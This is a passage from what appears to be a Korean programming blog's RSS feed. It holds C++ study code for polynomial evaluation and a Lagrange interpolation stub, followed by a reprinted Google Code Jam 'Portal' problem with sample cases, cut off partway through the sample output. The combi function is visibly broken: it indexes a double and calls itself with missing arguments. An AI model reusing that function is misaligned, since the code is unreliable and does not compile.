power_dnq(x,n/2);<br>&nbsp;if(n %2 == 0) return half*half;<br>&nbsp;else return half*half*x;<br>}<br>double Polynomial::Evaluate(double x)<br>{<br>&nbsp;double r = 0.0;<br>&nbsp;POS pos = m_list.GetHeadPos();<br>&nbsp;Term t;<br>&nbsp;while (!m_list.IsTail(pos))<br>&nbsp;{<br>&nbsp;&nbsp; m_list.GetNext(pos,t);<br>&nbsp;&nbsp; r += t.coef * power_dnq(x,t.exp);<br>&nbsp;}<br>&nbsp;return r;<br>}<br>&nbsp;<br>/*<br>&nbsp;Lagrange 보간법<br>&nbsp;* Lagrange Interpolation<br>&nbsp;-N+1개의 주어진 점을 지나는 N차의 다항식을 구하는 문제<br>&nbsp;-예) 네개의 점(x0,y0),(x1,y1),(x2,y2),(x3,y3)을 지나는 <br>&nbsp; g(x) = a0 + a1x + a2x^2 + a3x^3를 구하는 문제<br>&nbsp; <br>*/<br>double combi(double x, int n, int r)<br>{<br>&nbsp;if (n &lt;= 0 || r &lt; 0 || n &lt;r) return 0;<br>&nbsp;if (n == r) return x;<br>&nbsp;if (r == 0) return 1;<br>&nbsp;return x[n-1]*combi(n-1,r-1) + combi(n-1, r);<br>}<br>void main(){<br>&nbsp;Polynomial poly,poly1,poly2,poly3;<br>//&nbsp;ListSeqMap&lt;int&gt; listseq;</p><p>&nbsp;poly.AddTerm(1,3);<br>&nbsp;poly.AddTerm(2,-4);<br>//&nbsp;poly.Print();</p><p>&nbsp;poly.Print();<br>&nbsp;printf("%f", poly.Evaluate(1));</p><p>&nbsp;poly1.AddTerm(1,2);<br>&nbsp;poly1.AddTerm(2,1);</p><p><br>&nbsp;poly2 = poly * poly1;</p><p>//&nbsp;poly2.Print();<br>//&nbsp;poly3 = poly - poly1;<br>//&nbsp;poly3.Print();<br>///&nbsp;listseq.Insert(2);<br>//&nbsp;listseq.Insert(4);<br>//&nbsp;listseq.Insert(5);</p><p>//&nbsp;printf("%d\n",listseq.GetCount());</p><p>//&nbsp;listseq.Remove(2);<br>//&nbsp;listseq.Remove(4);<br>//&nbsp;listseq.Remove(5);</p><p>//&nbsp;printf("%d\n",listseq.GetCount());</p><p><br>//&nbsp;ACharGraph ag;<br>//&nbsp;ag.AddEdge('A','B',1);<br>//&nbsp;ag.AddEdge('B','C',1);<br>//&nbsp;ag.AddEdge('C','D',3);<br>//&nbsp;ag.AddEdge('D','E',2);<br>//&nbsp;ag.AddEdge('E','F',1);</p><p>//&nbsp;ag.ShortestPath_Dijkstra('A');</p><p>//&nbsp;LCharGraph lg;<br>//&nbsp;lg.AddEdgeDir('A','B',1);<br>//&nbsp;lg.AddEdgeDir('A','D',1);<br>//&nbsp;lg.AddEdgeDir('A','C',1);<br>//&nbsp;lg.AddEdgeDir('D','F',1);<br>//&nbsp;lg.AddEdgeDir('D','C',1);<br>//&nbsp;lg.AddEdgeDir('F','D',1);<br>//&nbsp;lg.AddEdgeDir('F','E',1);<br>//&nbsp;lg.AddEdgeDir('E','A',1);<br>//&nbsp;lg.AddEdgeDir('G','D',1);<br>//&nbsp;lg.AddEdgeDir('G','J',1);<br>//&nbsp;lg.AddEdgeDir('J','F',1);<br>//&nbsp;lg.AddEdgeDir('J','K',1);<br>//&nbsp;lg.AddEdgeDir('J','I',1);<br>//&nbsp;lg.AddEdgeDir('I','G',1);<br>//&nbsp;lg.AddEdgeDir('H','G',1);<br>//&nbsp;lg.AddEdgeDir('H','I',1);</p><p>//&nbsp;lg.StrongConnect();<br>//&nbsp;lg.TopologicalSort();</p><p>//&nbsp;LCharGraph llg(lg);</p><p>//&nbsp;llg.DFS();<br>//&nbsp;lg.TransitiveClosure_Warshall();<br>//&nbsp;ag.DFS();<br>//&nbsp;lg.DFS_nr();<br>//&nbsp;printf("\n");<br>//&nbsp;printf("%d\n",lg.CountComponents());</p><p>//&nbsp;lg.MCST_Pfs();<br>//&nbsp;printf("\n");<br>//&nbsp;lg.MCST_Kruskal();<br>//&nbsp;lg.ShortestPath_Pfs('A');</p><p><br>//&nbsp;HashMap&lt;Person,PersonHash&gt; map(PersonHash(),13);<br>///&nbsp;map.Insert(Person(5,"Heather"));<br>//&nbsp;map.Insert(Person(3,"Carlos"));<br>//<br>//&nbsp;Person key;<br>//&nbsp;Person rt;<br>//&nbsp;key.m_id = 3;<br>//&nbsp;if(map.Find(key,rt)) <br>//&nbsp;&nbsp;printf("name : %s\n",rt.m_name.c_str());<br>//&nbsp;else<br>//&nbsp;&nbsp;printf("Not found\n");</p><p>//&nbsp;RadixTreeMap&lt;int&gt; rtree;<br>//&nbsp;rtree.Insert(1);<br>//&nbsp;rtree.Insert(3);<br>//&nbsp;rtree.Find(1,a);<br>//&nbsp;printf("count %d\n",rtree.GetCount());<br>//&nbsp;RadixTrieMap&lt;Person&gt; rtrie;<br>//&nbsp;rtrie.Insert(Person(1,"Heather"));<br>//&nbsp;rtrie.Insert(Person(2,"Carlos"));</p><p>//&nbsp;Person key1(1,"");<br>//&nbsp;Person value;<br>//&nbsp;rtrie.Find(key1,value);<br>//&nbsp;printf("name :%s\n",value.m_name.c_str());<br>//&nbsp;printf("rtrie count: %d\n",rtrie.GetCount());<br>//&nbsp;int a[]={1,2,3,7,3,2,5};<br>//&nbsp;BinaryTreeSort(a,7);<br>//&nbsp;for(int i=0; i&lt; 7;i++)<br>//&nbsp;&nbsp;printf("%d ",a[i]);<br>//&nbsp;printf("\n");<br>//&nbsp;ParseTree tree;<br>//&nbsp;tree.BuildParseTree("A B + C D - * E / F G * +");<br>//&nbsp;tree.PreOrderTraverse();<br>//&nbsp;printf("\n");<br>//&nbsp;tree.PostOrderTraverse();<br>//&nbsp;printf("\n");<br>//&nbsp;tree.InOrderTraverse();<br>//&nbsp;printf("\n");<br>//&nbsp;tree.LevelOrderTraverse();<br>//&nbsp;printf("\n");<br>//&nbsp;ListQueue&lt;int&gt; queue;<br>//&nbsp;queue.Put(1);<br>//&nbsp;queue.Put(2);<br>//&nbsp;while(!queue.IsEmpty())<br>//&nbsp;&nbsp;printf("%d\n",queue.Get());<br>//&nbsp;ListStack&lt;int&gt; stack;<br>//&nbsp;stack.Push(5);<br>//&nbsp;stack.Push(6);<br>//&nbsp;while(!stack.IsEmpty())<br>//&nbsp;&nbsp;printf("%d\n",stack.Pop());<br>//&nbsp;printf("%d\n",stack.GetTop());<br>//&nbsp;map&lt;int,Person&gt; pmap;<br>//&nbsp;pmap.insert(make_pair(1,Person(15,"Jake")));<br>///&nbsp;pmap.insert(make_pair(2,Person(41,"Heather")));<br>///&nbsp;pmap.insert(make_pair(3,Person(11,"Carlos")));<br>//&nbsp;pmap.insert(make_pair(4,Person(21,"Totoro")));</p><p>//&nbsp;Person key;<br>//&nbsp;key.m_id = 1;<br>//&nbsp;Person value;<br>//&nbsp;pmap.find();</p><p>//printf("%s\n",value.m_name);<br>&nbsp;<br>//&nbsp;ArrayStack&lt;int&gt; stack(3);<br>//&nbsp;stack.Push(1);<br>//&nbsp;stack.Push(2);<br>//&nbsp;stack.Push(3);<br>//&nbsp;stack.Push(4);<br>//&nbsp;while(!stack.IsEmpty())<br>//&nbsp;&nbsp;printf("%d\n",stack.Pop());<br>&nbsp;////&nbsp;int a[32000],i;<br>//&nbsp;for(i = 0; i &lt; 32000 ; i++)<br>//&nbsp;&nbsp;a[i] = rand()/500;<br>//&nbsp;ShellSort(a,32000);<br>//&nbsp;if(CheckSort(a,32000))<br>//&nbsp;&nbsp;printf("true\n");<br>//&nbsp;else <br>//&nbsp;&nbsp;printf("false\n");<br>//&nbsp;for(i =0 ; i&lt;32000 ; i++)<br>//&nbsp;&nbsp;printf("%d\n",a[i]);<br>&nbsp;//qsord<br>//&nbsp;int a[10000];<br>//&nbsp;qsort(a,10000,sizeof(int),intcmp);</p><p>//&nbsp;cout&lt;&lt;gcd(6,4);<br>//&nbsp;cout&lt;&lt;toString(6);<br>//&nbsp;int i[]={0,5,4,3,6,7,7};<br>//&nbsp;BubbleSort(i,8);<br>//&nbsp;for(int j = 0; j &lt; 7 ; j++)<br>//&nbsp;{<br>//&nbsp;&nbsp;printf("%d\n",i[j]);<br>//&nbsp;}<br>}</p>			 ]]> 
		</description>
		<category>SourceCodes</category>

		<comments>http://univac.egloos.com/2271513#comments</comments>
		<pubDate>Thu, 12 Feb 2009 13:10:59 GMT</pubDate>
		<dc:creator>PigBaby</dc:creator>
	</item>
	<item>
		<title><![CDATA[ [구글코드잼]Portal 풀이 - Round3 ]]> </title>
		<link>http://univac.egloos.com/2023946</link>
		<guid>http://univac.egloos.com/2023946</guid>
		<description>
			<![CDATA[ 
  <p>이러고있을때가 아닌데... 죽일놈의 호기심;;; <br>웹서핑하다가.. 구글 코드잼이란걸 알게 되었는데 연습문제 해석 및 풀이 하는데 만만치가 않았다.;;<br>그래서 마지막문제의 난이도를 살펴보았다.<br><br></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Problem<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">PortalTM is a first-person puzzle/platform game developed and published by Valve Software. The idea of the game was to create two portals on walls and then jump through one portal and come out the other. This problem has a similar idea but it does not assume you have played Portal. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">For this problem you find yourself in a R by C grid. Additionally there is a delicious cake somewhere else in the grid. You're very hungry and wish to arrive at the cake with as few moves as possible. You can move north, south, east or west to an empty cell. Additionally, you have the ability to create portals on walls. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">To help you get to the cake you have a portal gun which can shoot two types of portals, a yellow portal and a blue portal. A portal is created by shooting your portal gun either north, south, east or west. This emits a ball of energy that creates a portal on the first wall it hits. Note that for this problem shooting the portal gun does not count as a move. If you fire your portal gun at the cake, the energy ball will go right through it. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">After creating a yellow portal and a blue portal, you can move through the yellow portal to arrive at the blue portal or vice versa. Using these portals you may be able to reach the cake even faster! You can only use portals after you create both a yellow and a blue portal. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Consider the following grid:<br></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><v:shapetype id="_x0000_t75" stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600"><v:stroke joinstyle="miter"></v:stroke><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path><o:lock v:ext="edit" aspectratio="t"></o:lock></v:shapetype></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕"><div style="text-align:center"><img class="image_mid" border="0" onmouseover="this.style.cursor='pointer'" alt="" src="http://pds12.egloos.com/pds/200809/15/73/e0015573_48cdc76961fd4.jpg" width="325" height="147" onclick="Control.Modal.openDialog(this, event, 'http://pds12.egloos.com/pds/200809/15/73/e0015573_48cdc76961fd4.jpg');" /></div><br>Gray cells represent walls, white cells represent empty cells, and the red circle indicates your position. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Suppose you shoot a blue portal east. The portal is created on the first wall it hits, resulting in:</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="mso-spacerun: yes"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;<div style="text-align:center"><img class="image_mid" border="0" onmouseover="this.style.cursor='pointer'" alt="" src="http://pds10.egloos.com/pds/200809/15/73/e0015573_48cdc739bd7d4.jpg" width="325" height="147" onclick="Control.Modal.openDialog(this, event, 'http://pds10.egloos.com/pds/200809/15/73/e0015573_48cdc739bd7d4.jpg');" /></div></span></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Now suppose you shoot a yellow portal south:</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕"><div style="text-align:center"><img class="image_mid" border="0" onmouseover="this.style.cursor='pointer'" alt="" src="http://pds12.egloos.com/pds/200809/15/73/e0015573_48cdc7099d9bf.jpg" width="325" height="147" onclick="Control.Modal.openDialog(this, event, 'http://pds12.egloos.com/pds/200809/15/73/e0015573_48cdc7099d9bf.jpg');" /></div>&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Next you move south once:</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;<div style="text-align:center"><img class="image_mid" border="0" onmouseover="this.style.cursor='pointer'" alt="" src="http://pds12.egloos.com/pds/200809/15/73/e0015573_48cdc6d4db02c.jpg" width="325" height="147" onclick="Control.Modal.openDialog(this, event, 'http://pds12.egloos.com/pds/200809/15/73/e0015573_48cdc6d4db02c.jpg');" /></div></span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Now comes the interesting part. If you move south one more time you go through the yellow portal to the blue portal:</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕"><div style="text-align:center"><img class="image_mid" border="0" onmouseover="this.style.cursor='pointer'" alt="" src="http://pds10.egloos.com/pds/200809/15/73/e0015573_48cdc6ab6154f.jpg" width="325" height="147" onclick="Control.Modal.openDialog(this, event, 'http://pds10.egloos.com/pds/200809/15/73/e0015573_48cdc6ab6154f.jpg');" /></div>&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">There can only be one yellow portal and one blue portal at any time. For example if you attempt to create a blue portal to the west the other blue portal will disappear:<br></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕"><div style="text-align:center"><img class="image_mid" border="0" onmouseover="this.style.cursor='pointer'" alt="" src="http://pds10.egloos.com/pds/200809/15/73/e0015573_48cdc6794c2c2.jpg" width="325" height="147" onclick="Control.Modal.openDialog(this, event, 'http://pds10.egloos.com/pds/200809/15/73/e0015573_48cdc6794c2c2.jpg');" /></div><br><br>A portal disappears only when another portal of the same color is fired. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Note that the portals are created on one side of the wall. If a wall has a portal on its east side you must move into the wall from the east to go through the portal. Otherwise you'll be moving into a wall, which is improbable. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Finally, you may not put two portals on top of each other. If you try to fire a portal at a side of a wall that already has a portal, the second portal will fail to form. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Given the maze, your initial position, and the cake's position, you want to find the minimum number of moves needed to reach the cake if it is possible. Remember that shooting the portal gun does not count as a move. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Input<o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">The first line of input gives the number of cases, N. N test cases follow.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">The first line of each test case will contain the integers R and C separated by a space. R lines follow containing C characters each, representing the map: </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">. indicates an empty cell;</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕"># indicates a wall;</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">O indicates your starting position; and</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">X indicates the cake's position.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">There will be exactly one O and one X character per case. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Cells outside of the grid are all walls and you may use them to create portals. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Output<o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">For each test case you should output one line containing "Case #X: Y" (quotes for clarity) where X is the number of the test case and Y is the minimum number of moves needed to reach the cake or "THE CAKE IS A LIE" (quotes for clarity) if the cake cannot be reached. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Limits<o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Small dataset</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">N = 200</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">1 &lt;= R, C &lt;= 8</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Large dataset</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">N = 50</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">1 &lt;= R, C &lt;= 15</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Sample<o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Input <o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">3</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">4 7</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">.O..##.</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">.#.....</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">.#.####</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">.#...X.</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">5 5</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">O....</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">.....</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">.....</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">.....</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">....X</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">1 3</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">O#X</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Output <o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Case #1: 4</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Case #2: 2</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 